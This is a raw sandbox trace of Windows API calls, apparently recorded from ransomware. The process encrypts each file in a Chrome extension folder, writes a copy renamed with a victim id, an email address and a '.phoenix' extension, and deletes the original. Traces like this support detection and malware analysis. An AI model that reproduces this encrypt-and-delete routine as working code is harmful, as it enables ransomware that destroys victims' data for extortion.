	[0255.557] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0255.557] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.557] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0255.557] CryptDestroyKey (hKey=0x151080) returned 1
	[0255.557] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0255.557] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.557] CloseHandle (hObject=0x314) returned 1
	[0255.557] CloseHandle (hObject=0x310) returned 1
	[0255.558] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js")) returned 1
	[0255.559] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.559] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=725) returned 1
	[0255.559] CloseHandle (hObject=0x310) returned 1
	[0255.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json")) returned 0x20
	[0255.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.560] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.560] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.560] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.560] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.561] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0255.561] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.561] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2d5, lpOverlapped=0x0) returned 1
	[0255.570] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2e0) returned 1
	[0255.570] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2e0, lpOverlapped=0x0) returned 1
	[0255.572] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0255.572] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.572] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.572] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.572] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.572] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.572] CloseHandle (hObject=0x310) returned 1
	[0255.572] CloseHandle (hObject=0x314) returned 1
	[0255.572] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json")) returned 1
	[0255.573] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.574] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.576] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=246) returned 1
	[0255.576] CloseHandle (hObject=0x314) returned 1
	[0255.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json")) returned 0x20
	[0255.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.576] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.576] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.576] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.576] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.577] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0255.577] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.577] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf6, lpOverlapped=0x0) returned 1
	[0255.578] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0255.578] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0255.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0255.918] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.918] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.918] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.918] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.918] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.918] CloseHandle (hObject=0x314) returned 1
	[0255.918] CloseHandle (hObject=0x310) returned 1
	[0255.918] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json")) returned 1
	[0255.919] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.920] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=208) returned 1
	[0255.920] CloseHandle (hObject=0x310) returned 1
	[0255.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json")) returned 0x20
	[0255.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.920] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.920] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.921] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0255.921] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.921] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd0, lpOverlapped=0x0) returned 1
	[0255.922] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.922] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0255.923] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.923] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.923] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.923] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.923] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.923] CloseHandle (hObject=0x310) returned 1
	[0255.923] CloseHandle (hObject=0x314) returned 1
	[0255.923] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json")) returned 1
	[0255.924] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.931] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=209) returned 1
	[0255.931] CloseHandle (hObject=0x314) returned 1
	[0255.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json")) returned 0x20
	[0255.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.931] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.931] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.932] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0255.932] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.932] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd1, lpOverlapped=0x0) returned 1
	[0255.933] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.933] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0255.934] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.934] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.934] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.934] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.934] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.934] CloseHandle (hObject=0x314) returned 1
	[0255.934] CloseHandle (hObject=0x310) returned 1
	[0255.934] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json")) returned 1
	[0255.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.936] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=206) returned 1
	[0255.936] CloseHandle (hObject=0x310) returned 1
	[0255.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json")) returned 0x20
	[0255.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.936] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.936] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
